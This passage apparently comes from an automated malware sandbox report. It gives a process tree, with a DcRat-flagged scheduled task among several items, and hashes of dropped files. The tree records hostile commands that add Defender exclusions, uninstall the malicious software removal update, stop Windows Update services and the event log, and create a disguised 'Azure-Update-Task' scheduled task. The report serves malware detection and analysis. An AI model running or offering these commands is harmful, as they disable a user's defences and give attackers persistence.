                                                            • C:\Users\Admin\Pictures\fO1T1qPAwM5rbuoMSDKChoT7.exe
                                                              "C:\Users\Admin\Pictures\fO1T1qPAwM5rbuoMSDKChoT7.exe"
                                                              3⤵
                                                                PID:2108
                                                              • C:\Users\Admin\Pictures\UKHOJolg3CXlziMu5ibYYblw.exe
                                                                "C:\Users\Admin\Pictures\UKHOJolg3CXlziMu5ibYYblw.exe"
                                                                3⤵
                                                                  PID:1988
                                                                  • C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                                                                    4⤵
                                                                      PID:2340
                                                                  • C:\Users\Admin\Pictures\1LGsDPA6KSDaGGlfV7vAGcyw.exe
                                                                    "C:\Users\Admin\Pictures\1LGsDPA6KSDaGGlfV7vAGcyw.exe"
                                                                    3⤵
                                                                      PID:2860
                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                        4⤵
                                                                          PID:2500
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                          4⤵
                                                                            PID:3056
                                                                            • C:\Windows\system32\wusa.exe
                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                              5⤵
                                                                                PID:1064
                                                                            • C:\Windows\system32\sc.exe
                                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                                              4⤵
                                                                              • Launches sc.exe
                                                                              PID:2448
                                                                            • C:\Windows\system32\sc.exe
                                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                              4⤵
                                                                              • Launches sc.exe
                                                                              PID:2936
                                                                            • C:\Windows\system32\sc.exe
                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                              4⤵
                                                                              • Launches sc.exe
                                                                              PID:1860
                                                                            • C:\Windows\system32\sc.exe
                                                                              C:\Windows\system32\sc.exe stop bits
                                                                              4⤵
                                                                              • Launches sc.exe
                                                                              PID:1760
                                                                            • C:\Windows\system32\sc.exe
                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                              4⤵
                                                                              • Launches sc.exe
                                                                              PID:1864
                                                                            • C:\Windows\system32\powercfg.exe
                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                              4⤵
                                                                                PID:2040
                                                                              • C:\Windows\system32\powercfg.exe
                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                4⤵
                                                                                  PID:2340
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                  4⤵
                                                                                    PID:1816
                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                    4⤵
                                                                                      PID:1604
                                                                                    • C:\Windows\system32\sc.exe
                                                                                      C:\Windows\system32\sc.exe stop eventlog
                                                                                      4⤵
                                                                                      • Launches sc.exe
                                                                                      PID:1984
                                                                                    • C:\Windows\system32\sc.exe
                                                                                      C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                                                      4⤵
                                                                                      • Launches sc.exe
                                                                                      PID:2980
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                                                  2⤵
                                                                                    PID:1748
                                                                                • C:\Windows\system32\makecab.exe
                                                                                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240310162609.log C:\Windows\Logs\CBS\CbsPersist_20240310162609.cab
                                                                                  1⤵
                                                                                  • Drops file in Windows directory
                                                                                  PID:1036
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\D5A7.bat" "
                                                                                  1⤵
                                                                                    PID:1952
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                                      2⤵
                                                                                        PID:2108
                                                                                    • C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      • Suspicious use of SetThreadContext
                                                                                      PID:2112
                                                                                      • C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        • Loads dropped DLL
                                                                                        • Adds Run key to start application
                                                                                        PID:2416
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls "C:\Users\Admin\AppData\Local\f55404de-f96d-40e3-8f6a-c259dbe6d608" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          PID:1224
                                                                                        • C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\FE0F.exe" --Admin IsNotAutoStart IsNotTask
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Loads dropped DLL
                                                                                          • Suspicious use of SetThreadContext
                                                                                          PID:604
                                                                                          • C:\Users\Admin\AppData\Local\Temp\FE0F.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\FE0F.exe" --Admin IsNotAutoStart IsNotTask
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            PID:1952
                                                                                            • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build2.exe
                                                                                              "C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build2.exe"
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:1880
                                                                                              • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build2.exe
                                                                                                "C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build2.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies system certificate store
                                                                                                PID:1032
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 1420
                                                                                                  7⤵
                                                                                                  • Loads dropped DLL
                                                                                                  • Program crash
                                                                                                  PID:1896
                                                                                            • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build3.exe
                                                                                              "C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build3.exe"
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:2640
                                                                                              • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build3.exe
                                                                                                "C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build3.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:304
                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                                  7⤵
                                                                                                  • DcRat
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:624
                                                                                    • C:\Windows\windefender.exe
                                                                                      C:\Windows\windefender.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:2704
                                                                                    • C:\Windows\system32\taskeng.exe
                                                                                      taskeng.exe {029FDEDE-A8B2-4C27-9383-0DACEBD61D66} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]
                                                                                      1⤵
                                                                                        PID:1592
                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          PID:2640
                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2328
                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                              /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                              4⤵
                                                                                              • DcRat
                                                                                              • Creates scheduled task(s)
                                                                                              PID:1264
                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          PID:884
                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:3060
                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetThreadContext
                                                                                          PID:1600
                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2752
                                                                                        • C:\Users\Admin\AppData\Roaming\vgtejgi
                                                                                          C:\Users\Admin\AppData\Roaming\vgtejgi
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Checks SCSI registry key(s)
                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                          PID:2480
                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:2276
                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            3⤵
                                                                                              PID:1328
                                                                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                            2⤵
                                                                                              PID:1624
                                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                3⤵
                                                                                                  PID:1840
                                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                2⤵
                                                                                                  PID:1204
                                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
                                                                                                    3⤵
                                                                                                      PID:2652
                                                                                                • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                  C:\ProgramData\Google\Chrome\updater.exe
                                                                                                  1⤵
                                                                                                  • Drops file in Drivers directory
                                                                                                  • Executes dropped EXE
                                                                                                  • Drops file in System32 directory
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  PID:3064
                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                    2⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:684
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                    2⤵
                                                                                                      PID:816
                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                        3⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        PID:2736
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                      2⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:1968
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                      2⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:472
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop wuauserv
                                                                                                      2⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:2528
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop bits
                                                                                                      2⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:560
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop dosvc
                                                                                                      2⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:904
                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1828
                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:928
                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:876
                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1816
                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                      C:\Windows\system32\conhost.exe
                                                                                                      2⤵
                                                                                                        PID:920
                                                                                                      • C:\Windows\explorer.exe
                                                                                                        explorer.exe
                                                                                                        2⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2460
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\8D34.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\8D34.exe
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:2252
                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 124
                                                                                                        2⤵
                                                                                                        • Loads dropped DLL
                                                                                                        • Program crash
                                                                                                        PID:2408
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\EBF7.bat" "
                                                                                                      1⤵
                                                                                                        PID:1992
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                                                          2⤵
                                                                                                            PID:2748
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2437.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\2437.exe
                                                                                                          1⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:472
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\43BA.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\43BA.exe
                                                                                                          1⤵
                                                                                                            PID:2692
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            explorer.exe
                                                                                                            1⤵
                                                                                                              PID:2296
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
                                                                                                              1⤵
                                                                                                                PID:1892
                                                                                                              • C:\Windows\system32\AUDIODG.EXE
                                                                                                                C:\Windows\system32\AUDIODG.EXE 0x548
                                                                                                                1⤵
                                                                                                                  PID:1492
                                                                                                                • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                  C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                  1⤵
                                                                                                                    PID:1524
                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                      2⤵
                                                                                                                        PID:1868
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                        2⤵
                                                                                                                          PID:1048
                                                                                                                          • C:\Windows\system32\wusa.exe
                                                                                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                            3⤵
                                                                                                                              PID:2108
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                            2⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:1804
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                            2⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:1208
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                            2⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:1132
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            C:\Windows\system32\sc.exe stop bits
                                                                                                                            2⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:2720
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                                                                            2⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:2276
                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                            2⤵
                                                                                                                              PID:3068
                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                              2⤵
                                                                                                                                PID:2228
                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                2⤵
                                                                                                                                  PID:2188
                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                  2⤵
                                                                                                                                    PID:1732
                                                                                                                                • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                  C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:2788
                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                      2⤵
                                                                                                                                        PID:1672

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • C:\ProgramData\DirectSoundDriver 2.36.198.67\DirectSoundDriver 2.36.198.67.exe

                                                                                                                                      Filesize

                                                                                                                                      448KB

                                                                                                                                      MD5

                                                                                                                                      2bfeb783c63070e9fb8f38dd98a40812

                                                                                                                                      SHA1

                                                                                                                                      b45960fc1e0420491d3339feaf9669c19217306d

                                                                                                                                      SHA256

                                                                                                                                      e58c3ba3718c288df0086b2035d284b27a2f25066b5b31ca00b31fa650e44758

                                                                                                                                      SHA512

                                                                                                                                      7935e297f7a92decd412cc786968600abce184a881b72d32b60d767e0fb0024362afec283f22e3b147d7c59be8b88b47ad09e77ff945b38437eb371093b50a34

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      67KB

                                                                                                                                      MD5

                                                                                                                                      753df6889fd7410a2e9fe333da83a429

                                                                                                                                      SHA1

                                                                                                                                      3c425f16e8267186061dd48ac1c77c122962456e

                                                                                                                                      SHA256

                                                                                                                                      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

                                                                                                                                      SHA512

                                                                                                                                      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      344B

                                                                                                                                      MD5

                                                                                                                                      c64faed18750dc002321b5e88fd3fa99

                                                                                                                                      SHA1

                                                                                                                                      3ccba54a5cbc43e815bc3cab4b9bbbfda9185d1b

                                                                                                                                      SHA256

                                                                                                                                      f243f43539eac4b47246e6f38c941ddd0f6dea21e4586be2dd7e1837310d647e

                                                                                                                                      SHA512

                                                                                                                                      4577e8aa8dfff03f035e600561190485b7ebbc41f008839d3a40cce4af723a370ce892b095da75dee02726b33b4de1f590e7dd1816aa04d835c5d4dad13e38dd

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      344B

                                                                                                                                      MD5

                                                                                                                                      5fbfb7fec94b0cc0f3d71b383559ce4c

                                                                                                                                      SHA1

                                                                                                                                      d2efd6ef1af22396f3ed5637f0ac672722a6257a

                                                                                                                                      SHA256

                                                                                                                                      4ef18f09d8c49abcec4efdcc91e28f19f140531937640cc1d5e184992e0dd804

                                                                                                                                      SHA512

                                                                                                                                      cf6e8049f1a8178b270cb1728f95f228aef5df501ef88e48a2432d423f284acbf198b7d74aed9190f8dc8819b8d77dc18edfd82b50ae3119cbf8a01d2f827d8f

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      344B

                                                                                                                                      MD5

                                                                                                                                      0e7809e4be0cd4150187c33e09ac9345

                                                                                                                                      SHA1

                                                                                                                                      e47a64bade0b747d32ede89933bd6fe40812dec7

                                                                                                                                      SHA256

                                                                                                                                      740b540c8824f50c67030284a5307726280ba5e12f31bd97749a126d72c742f2

                                                                                                                                      SHA512

                                                                                                                                      2c1b9113518c50c5b2fbd7f62c102cc0381f708e022e9b92dc6064dc45f772e194e9620d596dae15f8c9483f85a5be9f56d48cb5657cf50d32f9b6569f824e29

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      344B

                                                                                                                                      MD5

                                                                                                                                      92148678dc4c72d55b8a3320ee69fc3a

                                                                                                                                      SHA1

                                                                                                                                      7d9984dbe8a03040f3a5548e1e5943a205e1f407

                                                                                                                                      SHA256

                                                                                                                                      764a6927e9cde70369ef8dfc7e2753279ac39e4e2897fb18f4c31bcaf7543a2f

                                                                                                                                      SHA512

                                                                                                                                      a2efcbee8ab8ec7e9dd7ce6c588e4b80909059de2a077fb54c7f38d3d9b208876260c12dc802a1789d7a1dc33220b078cad67119fd88f0b679c1f7effbf93fa0

                                                                                                                                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                      Filesize

                                                                                                                                      344B

                                                                                                                                      MD5

                                                                                                                                      71b25f6ab180233b9b03c3f0866d485d

                                                                                                                                      SHA1

                                                                                                                                      5a325949733542026f886ea89d8a2c44c9b0d886

                                                                                                                                      SHA256

                                                                                                                                      f13470764d4fb1042d6c2c8aaf50a3f79dc0264f88ceacd190cf87dfe074e099

                                                                                                                                      SHA512

                                                                                                                                      701ca87d5a7c984c94e78ad1b9d617a84ac3bc99f16f47731a2e111a855608379bb7ab83907dd2e20cdbb414eaf73e2cac24841eb62df173a298bd73ab927f5c

                                                                                                                                    • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build2.exe

                                                                                                                                      Filesize

                                                                                                                                      219KB

                                                                                                                                      MD5

                                                                                                                                      d37b17fc3b9162060a60cd9c9f5f7e2c

                                                                                                                                      SHA1

                                                                                                                                      5bcd761db5662cebdb06f372d8cb731a9b98d1c5

                                                                                                                                      SHA256

                                                                                                                                      36826a94f7aabd1f0d71abc6850e64a499768bd30cab361e8724d546e495e35f

                                                                                                                                      SHA512

                                                                                                                                      04b0fcc597afba17b8be46eacee58c7e8d38c7efa9247ab5b3cbf1ae3ed8dc2e6e909b7dab28b2a41f08fb37e950abb6ca97553adf0e20335c6864d942bef6ea

                                                                                                                                    • C:\Users\Admin\AppData\Local\3b3cc6b9-35e4-49ed-98f9-9617d74d1e31\build3.exe

                                                                                                                                      Filesize

                                                                                                                                      299KB

                                                                                                                                      MD5

                                                                                                                                      41b883a061c95e9b9cb17d4ca50de770

                                                                                                                                      SHA1

                                                                                                                                      1daf96ec21d53d9a4699cea9b4db08cda6fbb5ad

                                                                                                                                      SHA256

                                                                                                                                      fef2c8ca07c500e416fd7700a381c39899ee26ce1119f62e7c65cf922ce8b408

                                                                                                                                      SHA512

                                                                                                                                      cdd1bb3a36182575cd715a52815765161eeaa3849e72c1c2a9a4e84cc43af9f8ec4997e642702bb3de41f162d2e8fd8717f6f8302bba5306821ee4d155626319

                                                                                                                                    • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe

                                                                                                                                      Filesize

                                                                                                                                      1.8MB

                                                                                                                                      MD5

                                                                                                                                      28c62765c0d3951c98331a12febbab59

                                                                                                                                      SHA1

                                                                                                                                      06894799aa377dca12da424bcf2a6a6f7400c8d8

                                                                                                                                      SHA256

                                                                                                                                      d00fa4460a6de61d26a035dd10bebfdcc0f28b81c85728e43e89af3d04da0260

                                                                                                                                      SHA512

                                                                                                                                      0ec630eef2e3b6d175732612f94196a738f62a7d79abe9c23497886c3d772c00f3c3896b5f6dac2eadfc91bf47798ee58d7717c96d59260165c3573a591d077d

                                                                                                                                    • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe

                                                                                                                                      Filesize

                                                                                                                                      320KB

                                                                                                                                      MD5

                                                                                                                                      2282a228eae751e13c79bbffabb770c0

                                                                                                                                      SHA1

                                                                                                                                      39273605143839379dace7151ff60ce0a70b6cdf

                                                                                                                                      SHA256

                                                                                                                                      46f1f154de5acdcd1081a41a43a28e96724b5ef083e64092054910bee37cddff

                                                                                                                                      SHA512

                                                                                                                                      f3fe19e1a2599430c247d7f508d853dda34f549e7fbd4aadb8a84b9548a92eb2b4bb848621d288e4eda2798b0ef8ab103d9dc7d3defb2c8af73f24d38d14161a

                                                                                                                                    • C:\Users\Admin\AppData\Local\BABY-Clock\is-ULBDP.tmp

                                                                                                                                      Filesize

                                                                                                                                      122KB

                                                                                                                                      MD5

                                                                                                                                      6231b452e676ade27ca0ceb3a3cf874a

                                                                                                                                      SHA1

                                                                                                                                      f8236dbf9fa3b2835bbb5a8d08dab3a155f310d1

                                                                                                                                      SHA256

                                                                                                                                      9941eee1cafffad854ab2dfd49bf6e57b181efeb4e2d731ba7a28f5ab27e91cf

                                                                                                                                      SHA512

                                                                                                                                      f5882a3cded0a4e498519de5679ea12a0ea275c220e318af1762855a94bdac8dc5413d1c5d1a55a7cc31cfebcf4647dcf1f653195536ce1826a3002cf01aa12c

                                                                                                                                    • C:\Users\Admin\AppData\Local\ElHS5HX1hnz9VhL5KqXpj20J.exe

                                                                                                                                      Filesize

                                                                                                                                      7KB

                                                                                                                                      MD5

                                                                                                                                      5b423612b36cde7f2745455c5dd82577

                                                                                                                                      SHA1

                                                                                                                                      0187c7c80743b44e9e0c193e993294e3b969cc3d

                                                                                                                                      SHA256

                                                                                                                                      e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09

                                                                                                                                      SHA512

                                                                                                                                      c26a1e7e96dbd178d961c630abd8e564ef69532f386fb198eb20119a88ecab2fe885d71ac0c90687c18910ce00c445f352a5e8fbf5328f3403964f7c7802414c

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\43BA.exe

                                                                                                                                      Filesize

                                                                                                                                      1.9MB

                                                                                                                                      MD5

                                                                                                                                      3960abf1cf1e42dee448bcd6d09381b1

                                                                                                                                      SHA1

